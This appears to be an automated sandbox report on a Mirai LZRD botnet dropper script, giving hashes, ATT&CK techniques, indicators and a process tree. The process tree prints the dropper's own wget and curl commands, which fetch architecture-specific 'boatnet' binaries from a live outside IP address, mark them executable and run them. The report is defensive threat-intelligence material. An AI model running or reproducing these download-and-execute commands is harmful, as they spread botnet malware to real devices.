mirai | 75f341b14380851a0a0fa06a778281e1306727b8f9c90a81f10381b89609d420

General

Target

ohshit.sh
Size

2KB
MD5

7223c9d6dfd0588a042452a35c3eedd5
SHA1

3ee35c5d531fccd8bdefb6143429e29575ee47e4
SHA256

75f341b14380851a0a0fa06a778281e1306727b8f9c90a81f10381b89609d420
SHA512

d2f5d60d1f528fa306b856a9dfb35e862b7e3e9db01a6c973cc2b11ed83e7a4e896d6542cd96a3699c3ddadaa8befde862d1205a5350efb047293be59caa898e

Score

10^/10

mirai lzrd botnet defense_evasion discovery upx

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai
File and Directory Permissions Modification 1 TTPs 15 IoCs
Adversaries may modify file or directory permissions to evade defenses.
defense_evasion

Linux and Mac File and Directory Permissions Modification
T1222.002

Processes:

chmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmod

pid process

850 chmod
737 chmod
809 chmod
884 chmod
890 chmod
759 chmod
793 chmod
803 chmod
860 chmod
872 chmod
902 chmod
828 chmod
866 chmod
878 chmod
896 chmod

pid	process
850	chmod
737	chmod
809	chmod
884	chmod
890	chmod
759	chmod
793	chmod
803	chmod
860	chmod
872	chmod
902	chmod
828	chmod
866	chmod
878	chmod
896	chmod

Executes dropped EXE 15 IoCs

Processes:

WTFWTFWTFWTFWTFWTFWTFWTFWTFWTFWTFWTFWTFWTFWTF

ioc	pid	process
/tmp/WTF	738	WTF
/tmp/WTF	760	WTF
/tmp/WTF	795	WTF
/tmp/WTF	804	WTF
/tmp/WTF	811	WTF
/tmp/WTF	829	WTF
/tmp/WTF	852	WTF
/tmp/WTF	861	WTF
/tmp/WTF	867	WTF
/tmp/WTF	873	WTF
/tmp/WTF	879	WTF
/tmp/WTF	885	WTF
/tmp/WTF	891	WTF
/tmp/WTF	897	WTF
/tmp/WTF	903	WTF

Modifies Watchdog functionality 1 TTPs 2 IoCs
Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.
defense_evasion

Impair Defenses
T1562

Processes:

WTF

description ioc process

File opened for modification /dev/watchdog WTF
File opened for modification /dev/misc/watchdog WTF
Writes file to system bin folder 2 IoCs

Processes:

WTF

description ioc process

File opened for modification /sbin/watchdog WTF
File opened for modification /bin/watchdog WTF

description	ioc	process
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF

description	ioc	process
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
/tmp/boatnet.x86	upx
/tmp/WTF	upx

Reads runtime system information 48 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

WTFcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurl

description	ioc	process
File opened for reading	/proc/705/cmdline	WTF
File opened for reading	/proc/899/cmdline	WTF
File opened for reading	/proc/872/cmdline	WTF
File opened for reading	/proc/893/cmdline	WTF
File opened for reading	/proc/900/cmdline	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/477/cmdline	WTF
File opened for reading	/proc/863/cmdline	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/399/cmdline	WTF
File opened for reading	/proc/510/cmdline	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/351/cmdline	WTF
File opened for reading	/proc/353/cmdline	WTF
File opened for reading	/proc/881/cmdline	WTF
File opened for reading	/proc/888/cmdline	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/322/cmdline	WTF
File opened for reading	/proc/375/cmdline	WTF
File opened for reading	/proc/709/cmdline	WTF
File opened for reading	/proc/704/cmdline	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/869/cmdline	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/320/cmdline	WTF
File opened for reading	/proc/684/cmdline	WTF
File opened for reading	/proc/876/cmdline	WTF
File opened for reading	/proc/864/cmdline	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/387/cmdline	WTF
File opened for reading	/proc/470/cmdline	WTF
File opened for reading	/proc/706/cmdline	WTF
File opened for reading	/proc/856/cmdline	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/324/cmdline	WTF
File opened for reading	/proc/887/cmdline	WTF
File opened for reading	/proc/894/cmdline	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/905/cmdline	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/377/cmdline	WTF
File opened for reading	/proc/514/cmdline	WTF
File opened for reading	/proc/703/cmdline	WTF

System Network Configuration Discovery 1 TTPs 3 IoCs
Adversaries may gather information about the network configuration of a system.
discovery

System Network Configuration Discovery
T1016

Processes:

wgetcurlcat

pid process

740 wget
749 curl
757 cat

pid	process
740	wget
749	curl
757	cat

Writes file to tmp directory 29 IoCs

Malware often drops required files in the /tmp directory.

Processes:

curlwgetwgetcurlohshit.shwgetwgetwgetcurlcurlcurlcurlwgetwgetwgetwgetwgetcurlwgetcurlcurlcurlcurlwgetcurlcurlcurlwgetcurl

description	ioc	process
File opened for modification	/tmp/boatnet.i686	curl
File opened for modification	/tmp/boatnet.x86_64	wget
File opened for modification	/tmp/boatnet.ppc	wget
File opened for modification	/tmp/boatnet.m68k	curl
File opened for modification	/tmp/WTF	ohshit.sh
File opened for modification	/tmp/boatnet.arc	wget
File opened for modification	/tmp/boatnet.mpsl	wget
File opened for modification	/tmp/boatnet.arm5	wget
File opened for modification	/tmp/boatnet.mips	curl
File opened for modification	/tmp/boatnet.x86	curl
File opened for modification	/tmp/boatnet.arc	curl
File opened for modification	/tmp/boatnet.x86_64	curl
File opened for modification	/tmp/boatnet.sh4	wget
File opened for modification	/tmp/boatnet.x86	wget
File opened for modification	/tmp/boatnet.arm6	wget
File opened for modification	/tmp/boatnet.mips	wget
File opened for modification	/tmp/boatnet.arm	wget
File opened for modification	/tmp/boatnet.ppc	curl
File opened for modification	/tmp/boatnet.m68k	wget
File opened for modification	/tmp/boatnet.sh4	curl
File opened for modification	/tmp/boatnet.arm	curl
File opened for modification	/tmp/boatnet.arm5	curl
File opened for modification	/tmp/boatnet.arm6	curl
File opened for modification	/tmp/boatnet.arm7	wget
File opened for modification	/tmp/boatnet.arm7	curl
File opened for modification	/tmp/boatnet.i468	curl
File opened for modification	/tmp/boatnet.mpsl	curl
File opened for modification	/tmp/boatnet.spc	wget
File opened for modification	/tmp/boatnet.spc	curl

/tmp/ohshit.sh
/tmp/ohshit.sh
1⤵
- Writes file to tmp directory
PID:706

/usr/bin/wget
wget http://37.221.93.101/hiddenbin/boatnet.x86
2⤵
- Writes file to tmp directory
PID:710

/usr/bin/curl
curl -O http://37.221.93.101/hiddenbin/boatnet.x86
2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:719

/bin/cat
cat boatnet.x86
2⤵
PID:736

/bin/chmod
chmod +x boatnet.x86 ohshit.sh systemd-private-97701d714b2b4aa2a3d1bae76dc08dc7-systemd-timedated.service-sd38iy WTF
2⤵
- File and Directory Permissions Modification
PID:737

/tmp/WTF
./WTF
2⤵
- Executes dropped EXE
PID:738

/usr/bin/wget
wget http://37.221.93.101/hiddenbin/boatnet.mips
2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:740

/usr/bin/curl
curl -O http://37.221.93.101/hiddenbin/boatnet.mips
2⤵
- Reads runtime system information
- System Network Configuration Discovery
- Writes file to tmp directory
PID:749

/bin/cat
cat boatnet.mips
2⤵
- System Network Configuration Discovery
PID:757

/bin/chmod
chmod +x boatnet.mips boatnet.x86 ohshit.sh systemd-private-97701d714b2b4aa2a3d1bae76dc08dc7-systemd-timedated.service-sd38iy WTF
2⤵
- File and Directory Permissions Modification
PID:759

/tmp/WTF
./WTF
2⤵
- Executes dropped EXE
PID:760

/usr/bin/wget
wget http://37.221.93.101/hiddenbin/boatnet.arc
2⤵
- Writes file to tmp directory
PID:763

/usr/bin/curl
curl -O http://37.221.93.101/hiddenbin/boatnet.arc
2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:777

/bin/cat
cat boatnet.arc
2⤵
PID:792

/bin/chmod
chmod +x boatnet.arc boatnet.mips boatnet.x86 ohshit.sh WTF
2⤵
- File and Directory Permissions Modification
PID:793

/tmp/WTF
./WTF
2⤵
- Executes dropped EXE
PID:795

/usr/bin/wget
wget http://37.221.93.101/hiddenbin/boatnet.i468
2⤵
PID:798

/usr/bin/curl
curl -O http://37.221.93.101/hiddenbin/boatnet.i468
2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:800

/bin/cat
cat boatnet.i468
2⤵
PID:802

/bin/chmod
chmod +x boatnet.arc boatnet.i468 boatnet.mips boatnet.x86 ohshit.sh WTF
2⤵
- File and Directory Permissions Modification
PID:803

/tmp/WTF
./WTF
2⤵
- Executes dropped EXE
PID:804

/usr/bin/wget
wget http://37.221.93.101/hiddenbin/boatnet.i686
2⤵
PID:805

/usr/bin/curl
curl -O http://37.221.93.101/hiddenbin/boatnet.i686
2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:806

/bin/cat
cat boatnet.i686
2⤵
PID:807

/bin/chmod
chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 ohshit.sh WTF
2⤵
- File and Directory Permissions Modification
PID:809

/tmp/WTF
./WTF
2⤵
- Executes dropped EXE
PID:811

/usr/bin/wget
wget http://37.221.93.101/hiddenbin/boatnet.x86_64
2⤵
- Writes file to tmp directory
PID:812

/usr/bin/curl
curl -O http://37.221.93.101/hiddenbin/boatnet.x86_64
2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:819

/bin/cat
cat boatnet.x86_64
2⤵
PID:826

/bin/chmod
chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 boatnet.x86_64 ohshit.sh WTF
2⤵
- File and Directory Permissions Modification
PID:828

/tmp/WTF
./WTF
2⤵
- Executes dropped EXE
PID:829

/usr/bin/wget
wget http://37.221.93.101/hiddenbin/boatnet.mpsl
2⤵
- Writes file to tmp directory
PID:833

/usr/bin/curl
curl -O http://37.221.93.101/hiddenbin/boatnet.mpsl
2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:840

/bin/cat
cat boatnet.mpsl
2⤵
PID:849

/bin/chmod
chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh WTF
2⤵
- File and Directory Permissions Modification
PID:850

/tmp/WTF
./WTF
2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:852

/usr/bin/wget
wget http://37.221.93.101/hiddenbin/boatnet.arm
2⤵
- Writes file to tmp directory
PID:857

/usr/bin/curl
curl -O http://37.221.93.101/hiddenbin/boatnet.arm
2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:858

/bin/cat
cat boatnet.arm
2⤵
PID:859

/bin/chmod
chmod +x boatnet.arc boatnet.arm boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh WTF
2⤵
- File and Directory Permissions Modification
PID:860

/tmp/WTF
./WTF
2⤵
- Executes dropped EXE
PID:861

/usr/bin/wget
wget http://37.221.93.101/hiddenbin/boatnet.arm5
2⤵
- Writes file to tmp directory
PID:863

/usr/bin/curl
curl -O http://37.221.93.101/hiddenbin/boatnet.arm5
2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:864

/bin/cat
cat boatnet.arm5
2⤵
PID:865

/bin/chmod
chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh WTF
2⤵
- File and Directory Permissions Modification
PID:866

/tmp/WTF
./WTF
2⤵
- Executes dropped EXE
PID:867

/usr/bin/wget
wget http://37.221.93.101/hiddenbin/boatnet.arm6
2⤵
- Writes file to tmp directory
PID:869

/usr/bin/curl
curl -O http://37.221.93.101/hiddenbin/boatnet.arm6
2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:870

/bin/cat
cat boatnet.arm6
2⤵
PID:871

/bin/chmod
chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh WTF
2⤵
- File and Directory Permissions Modification
PID:872

/tmp/WTF
./WTF
2⤵
- Executes dropped EXE
PID:873

/usr/bin/wget
wget http://37.221.93.101/hiddenbin/boatnet.arm7
2⤵
- Writes file to tmp directory
PID:875

/usr/bin/curl
curl -O http://37.221.93.101/hiddenbin/boatnet.arm7
2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:876

/bin/cat
cat boatnet.arm7
2⤵
PID:877

/bin/chmod
chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh WTF
2⤵
- File and Directory Permissions Modification
PID:878

/tmp/WTF
./WTF
2⤵
- Executes dropped EXE
PID:879

/usr/bin/wget
wget http://37.221.93.101/hiddenbin/boatnet.ppc
2⤵
- Writes file to tmp directory
PID:881

/usr/bin/curl
curl -O http://37.221.93.101/hiddenbin/boatnet.ppc
2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:882

/bin/cat
cat boatnet.ppc
2⤵
PID:883

/bin/chmod
chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.x86 boatnet.x86_64 ohshit.sh WTF
2⤵
- File and Directory Permissions Modification
PID:884

/tmp/WTF
./WTF
2⤵
- Executes dropped EXE
PID:885

/usr/bin/wget
wget http://37.221.93.101/hiddenbin/boatnet.spc
2⤵
- Writes file to tmp directory
PID:887

/usr/bin/curl
curl -O http://37.221.93.101/hiddenbin/boatnet.spc
2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:888

/bin/cat
cat boatnet.spc
2⤵
PID:889

/bin/chmod
chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 ohshit.sh WTF
2⤵
- File and Directory Permissions Modification
PID:890

/tmp/WTF
./WTF
2⤵
- Executes dropped EXE
PID:891

/usr/bin/wget
wget http://37.221.93.101/hiddenbin/boatnet.m68k
2⤵
- Writes file to tmp directory
PID:893

/usr/bin/curl
curl -O http://37.221.93.101/hiddenbin/boatnet.m68k
2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:894

/bin/cat
cat boatnet.m68k
2⤵
PID:895

/bin/chmod
chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 ohshit.sh WTF
2⤵
- File and Directory Permissions Modification
PID:896

/tmp/WTF
./WTF
2⤵
- Executes dropped EXE
PID:897

/usr/bin/wget
wget http://37.221.93.101/hiddenbin/boatnet.sh4
2⤵
- Writes file to tmp directory
PID:899

/usr/bin/curl
curl -O http://37.221.93.101/hiddenbin/boatnet.sh4
2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:900

/bin/cat
cat boatnet.sh4
2⤵
PID:901

/bin/chmod
chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.sh4 boatnet.spc boatnet.x86 boatnet.x86_64 ohshit.sh WTF
2⤵
- File and Directory Permissions Modification
PID:902

/tmp/WTF
./WTF
2⤵
- Executes dropped EXE
PID:903

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

1

T1222

Linux and Mac File and Directory Permissions Modification

Impair Defenses

Credential Access

Discovery

System Network Configuration Discovery

1

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/WTF

Filesize
23KB

MD5
6435daeac1475e26a58bb4a1a1d559f2

SHA1
84038f6881249b0a485f29424e9cc5c4d623a82d

SHA256
27470473f6b873dfcdc2d9394775287286916759db07a55e0ea70b151e9943cc

SHA512
d14dc6bba03e413fd9f05ced7de92740f9c4c09d0ea2d2c792a7ee03b21aa39417a73143f562ecbbba99275094f9f72cfd2ad4391527d77e739c2bcd900c9e5f

Download Submit
/tmp/WTF

Filesize
105KB

MD5
8eb17c639b114677199b2a6dd1e7e05c

SHA1
b02b3e3cc1f6ea4bb91fd2e7752a3cdc2823139f

SHA256
96bd43ec3d867cfe80a85a4db2f9cc9681369d9d90c64828145f900655c489dd

SHA512
d54b2ce47a437358d939b0f0d2f2eb46a0a38f101a6144e7644aedee5af8bde3ef6ae35ee9187cb559c78f35628315aea16da31dfe97de15e9f6719559e9b471

Download Submit
/tmp/WTF

Filesize
220B

MD5
f1c24d9fa40a047ae22d2d3ae7dfeac9

SHA1
750274b02d5f5b00026a4f55b020f4285c693533

SHA256
219db693bfc6306868548b227030b636aaba7e2b2ad0582a8977ecef92d674bc

SHA512
36bd34e999eb4426823cadcf27076cf1128470e340172336ac3e3bdf3f194d0c873684f67b8d341df85eeb955e3c9dc3657ad7c5f05525e5c254476605d5b259

Download Submit
/tmp/WTF

Filesize
220B

MD5
a8f502a6fb3b7b940e922c951d9e493a

SHA1
fa94d6dade6bb7537ee3f58f2984b80f4b02dcdf

SHA256
748429c25463cc890809a866bfe2cb313f072be73bf5ea88fb4f65e26aa97bec

SHA512
e4ada74640d3ad58a6181ab1cd05fadd584788806908b00cf80924a19f29118a17f581d72d9abf1aa207f83d1e4ab163ea6c0c1e0ee6f2e211d1e0d366a27338

Download Submit
/tmp/WTF

Filesize
55KB

MD5
e7a4009e7f1e36b5fbe9ea50423cb0cb

SHA1
8097c404de6facfdf3a8334508adf1428d0831f1

SHA256
6eaaf842e5bb5155941b3569bd4bfd6907b9c2875118c52bbce210c267f14866

SHA512
249abec36b64b00257f26ed4d925a67589b0f1c0feb9c8c4731f996ebbb1bc209d6fa89fc76170d058f1b24af15e658f64de8192999439ef3ba46e99a8f0a50f

Download Submit
/tmp/boatnet.x86

Filesize
20KB

MD5
9989c8ea288da2dddad73db20f372194

SHA1
06efc879f9c23d099b6716bf9f84ac8666f29e98

SHA256
9d780354175a3b406f5764962a3ba7c137961d10005c632db0e7baae9e0b9008

SHA512
32ea5c58eb7fac324c88f576c7e05867599e5d3380f8868302a315ecc84427e2f80693386150e3121842a06f15c476224c4f66a1dda4d71d47511a1d7c600de9

Download Submit
memory/852-1-0x00400000-0x00452988-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads